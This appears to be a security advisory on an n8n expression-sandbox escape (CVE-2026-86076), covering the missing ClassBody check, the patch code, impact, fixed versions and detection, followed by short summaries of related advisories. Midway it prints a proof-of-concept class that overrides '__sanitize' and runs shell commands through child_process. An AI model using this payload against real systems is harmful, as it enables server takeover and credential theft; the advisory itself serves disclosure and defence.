Sep 10, 2026·7 min read·2 visits
A missing ClassBody traversal in n8n's expression sanitizer allows low-privileged users to redefine the '__sanitize' resolver on custom classes, escaping the sandbox to execute arbitrary Node.js commands.
An expression sandbox escape vulnerability exists in n8n due to a missing AST traversal check on ClassBody in the PrototypeSanitizer. This allows authenticated users with low privileges to bypass property checks and achieve remote code execution.
n8n is an extensible workflow automation platform that allows users to design and execute complex logical tasks by connecting diverse nodes. In many workflows, users write inline template expressions or custom JavaScript blocks to dynamically manipulate input data. To prevent untrusted workflow designs from executing arbitrary code on the underlying operating system or accessing forbidden object properties, n8n compiles these expressions within a sandboxed runtime environment. The core implementation of this sandbox relies on AST rewriting to inspect and restrict property access.
The AST parsing mechanism, specifically defined in the PrototypeSanitizer class within packages/workflow/src/expression-sandboxing.ts, serves as the security boundary. When expressions access properties dynamically, the compiler rewrites the operation to inspect the keys at runtime using a validation function. This validation function, dynamically referenced as __sanitize, blocks access to properties like constructor, __proto__, and prototype.
A critical design flaw was discovered in the AST parsing logic where the analyzer did not traverse or validate structures inside a ClassBody node. This omission allows an authenticated user to declare a class containing a field or method named __sanitize. Because this field is resolved dynamically through the runtime's evaluation context, the attacker-defined sanitization bypass overrides the built-in sandbox security checks, enabling arbitrary property access and remote code execution.
The root cause of this sandbox escape resides in the interaction between static AST-based safety checks and dynamic JavaScript scope resolution. The PrototypeSanitizer is built using a visitor pattern that traverses the nodes of a compiled AST. When the compiler encounters variable declarations, functions, catch blocks, and class definitions, it runs validation checks to ensure reserved identifiers such as __sanitize or ___n8n_data are not declared or reassigned. However, the traversal logic completely lacked a visitor hook for ClassBody AST nodes.
Because the compiler did not visit ClassBody nodes, any field declarations or method definitions within a class were ignored during static validation. An attacker could therefore declare a class containing a field named __sanitize without triggering any validation exceptions or compiler rejections. The static validator only checked the class declaration identifier itself, leaving the internal body completely unverified.
At execution time, the sandboxed template engine translates dynamic brackets access like obj[key] to obj[___n8n_data.__sanitize(key)]. If the dynamic expression is evaluated within a class method, the runtime scope resolves the call to the contextual this reference. When the class method executes this['constructor'], the compiled AST attempts to resolve this.__sanitize('constructor'). Because the class instance itself declares a custom, unrestricted __sanitize field, the JavaScript runtime executes this attacker-defined function instead of the official sanitizer, returning the 'constructor' string unmodified and bypassing the safety boundary.
To remediate the vulnerability, n8n developers updated packages/workflow/src/expression-sandboxing.ts by adding an AST visitor for ClassBody nodes and introducing helper utilities to statically parse property keys. The patched code includes the visitClassBody hook, which examines the body array of each class structure. This ensures that any static declarations of class properties, methods, or constructors are validated prior to execution.
// Patched AST check targeting ClassBody nodes
visitClassBody(path) {
// Traverses internal nodes of the class body
this.traverse(path);
const members = path.node.body;
if (!Array.isArray(members)) return;
// Iterate through every defined member inside the class
for (const member of members) {
if (!isAstNode(member)) continue;
// Avoid checking dynamic computed identifier keys (which are variables)
if (member.computed && isAstNode(member.key) && member.key.type === 'Identifier') continue;
// Extract static names from Identifiers, Literals, or StringLiterals
const memberKey = getReservedMemberKey(member.key);
if (memberKey !== undefined) {
// Fail compilation if the member overrides a reserved name like '__sanitize'
throw new ExpressionReservedVariableError(memberKey);
}
}
}Additionally, the patch introduced getReservedMemberKey and getStaticTemplateValue functions to safely inspect computed and static member names. This prevents attackers from bypassing the check using string or template literals. By statically analyzing the keys and comparing them against the RESERVED_VARIABLE_NAMES set, the sandbox compiler successfully detects and blocks any class member declaration that attempts to hijack sandbox-related helper methods.
This patch provides complete validation for class scopes, effectively blocking the dynamic override vector. Because the compiler now rejects any class definitions containing the reserved identifiers, the execution engine is prevented from resolving the hijacked sanitizer dynamically. This effectively mitigates the sandbox escape without impacting legitimate class expressions that utilize standard, non-reserved property names.
Exploitation of CVE-2026-86076 requires low-privileged credentials to author or edit workflows within n8n. The attacker begins by introducing a custom Node.js execution step (such as a Code Node) or crafting an inline template expression within an arbitrary standard node. The payload contains a class structure designed to override the sanitizer function.
// Exploitation payload illustrating the sanitizer override
class SandboxEscape {
// Declare the class field to override the sandbox resolver
__sanitize = function(val) {
return val; // Bypasses security validations by returning the string unchanged
};
exploit() {
// Resolves the class constructor via hijacked property resolution
const classConstructor = this['constructor'];
// Reaches the global Function constructor to instantiate raw code execution
const FunctionConstructor = classConstructor['constructor'];
// Command to execute on the hosting server
const payload = "const cp = globalThis.process.mainModule.require('child_process'); return cp.execSync('id; uname -a').toString();";
const trigger = FunctionConstructor(payload);
return trigger();
}
}
const escapeInstance = new SandboxEscape();
escapeInstance.exploit();When this payload is submitted, the workflow engine compiles the expression without error because the vulnerable engine fails to evaluate the internal members of SandboxEscape. Once executed, the workflow engine runs escapeInstance.exploit(). The lookup of this['constructor'] is transformed into this[this.__sanitize('constructor')] by the compiler, which subsequently calls the local overridden __sanitize function.
The hijacked __sanitize function returns the string 'constructor' to the compiler wrapper, allowing direct access to the Function class constructor. This constructor is evaluated under the context of the main Node.js process, which allows executing operating system commands through the child_process module. The command execution inherits the privileges of the system user running the n8n application process.
The successful exploitation of CVE-2026-86076 has serious security implications for both the hosting infrastructure and user browser environments. On the server side, an attacker with workflow creation permissions can execute arbitrary shell commands under the context of the n8n service account. This access permits attackers to read sensitive configuration values, extract connected credentials or API tokens, and pivot to adjacent internal networks.
In addition to backend code execution, this vulnerability facilitates a client-side execution path. Because workflow expressions are also evaluated within the n8n Editor UI during the node preview phase, any user viewing or editing a shared workflow containing the payload will trigger the JavaScript execution inside their local browser session. This stored cross-user JavaScript execution (stored XSS equivalent) can be leveraged to hijack session tokens, perform actions on behalf of admin users, or manipulate workflow configurations.
The official CVSS v4.0 score is rated at 8.7 (High), reflecting the network-based attack vector and high impact across the confidentiality, integrity, and availability of the system. While exploitation requires low-privileged user access to edit workflows, the overall lack of direct user interaction requirements once the workflow is run or viewed dramatically elevates the threat posture of exposed n8n interfaces.
The primary and recommended remediation is updating the n8n installation to the patched versions. Organizations should identify their active branch and apply the corresponding security update. For installations on the v1.x branch, the patch is available starting with version 1.123.76. For the v2.37.x branch, users must upgrade to at least 2.37.7, and for the v2.38.x branch, to at least 2.38.2.
In environments where immediate upgrading is not feasible, administrators must implement access control restrictions to limit the attack surface. Disabling self-registration and enforcing strict Role-Based Access Control (RBAC) ensures only highly trusted administrators can create or edit workflow configurations. Because the exploit relies on the presence of the __sanitize string within workflow nodes, database monitoring can be used to identify potential abuse.
Administrators can execute targeted database queries to scan stored workflows for indicators of compromise. Executing a search query against the workflow_entity database table for occurrences of the string __sanitize can identify malicious payloads. Any workflow found containing this property should be deactivated and reviewed immediately for potential code injection artifacts.
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
n8n n8n | < 1.123.76 | 1.123.76 |
n8n n8n | >= 2.0.0, < 2.37.7 | 2.37.7 |
n8n n8n | >= 2.38.0, < 2.38.2 | 2.38.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94 |
| Attack Vector | Network |
| CVSS Score | 8.7 (High) |
| Impact | Remote Code Execution (RCE) / Stored Cross-User JavaScript Execution |
| Exploit Status | PoC (Proof of Concept) Feasible |
| KEV Status | Not Listed |
The platform constructs or evaluates code using input containing code-like structures, which can allow arbitrary execution of malicious payloads.
A critical sandbox escape vulnerability exists in the legacy expression engine of n8n. By leveraging Shared Builtin Tampering combined with Code-Printer Injection, an authenticated attacker can hijack the mutable global JSON.stringify function. This hijacking allows the attacker to inject arbitrary Node.js source code into internal execution contexts during code generation, escaping the isolated-vm sandbox and achieving full remote code execution on the host system.
A Broken Object-Level Authorization (BOLA) vulnerability exists in Open WebUI starting from version 0.7.0 up to (but not including) 0.11.1. The flaw resides in the platform's built-in knowledge search tool, which constructs metadata filters to scope database queries based on user permissions. However, eleven of the fifteen shipped vector database backends accepted these filters but silently ignored them, enabling authenticated users to retrieve and enumerate the metadata of inaccessible or private knowledge bases.
In vulnerable configurations of n8n, the OAuth Dynamic Client Registration endpoint implements field size validation for redirect_uris but fails to enforce proper limits on client_name and grant_types. This allows an unauthenticated remote attacker to submit arbitrarily large values for these fields, leading to persistent database and disk storage exhaustion.
A Regular Expression Denial of Service (ReDoS) vulnerability exists in n8n due to inefficient validation in its default blocked-file-pattern matching mechanism. This flaw can be triggered during Git operations, allowing authenticated workflow editors to cause resource exhaustion and completely freeze the n8n application process.
CVE-2025-21587 is a high-severity timing side-channel vulnerability in the Java Secure Socket Extension (JSSE) component of Oracle Java SE and GraalVM. The flaw allows unauthenticated network attackers to perform Bleichenbacher-style (Marvin) decryption oracle attacks, potentially compromising TLS session confidentiality.
CVE-2026-86082 is a critical Server-Side Request Forgery (SSRF) and credential leakage vulnerability in n8n. The flaw exists in the OpenAI Chat Model node's searchModels function, which fails to enforce credential domain restrictions when populating the model dropdown list. This allows an authenticated workflow editor to exfiltrate plaintext OpenAI API keys to an arbitrary attacker-controlled domain by specifying a custom baseURL override.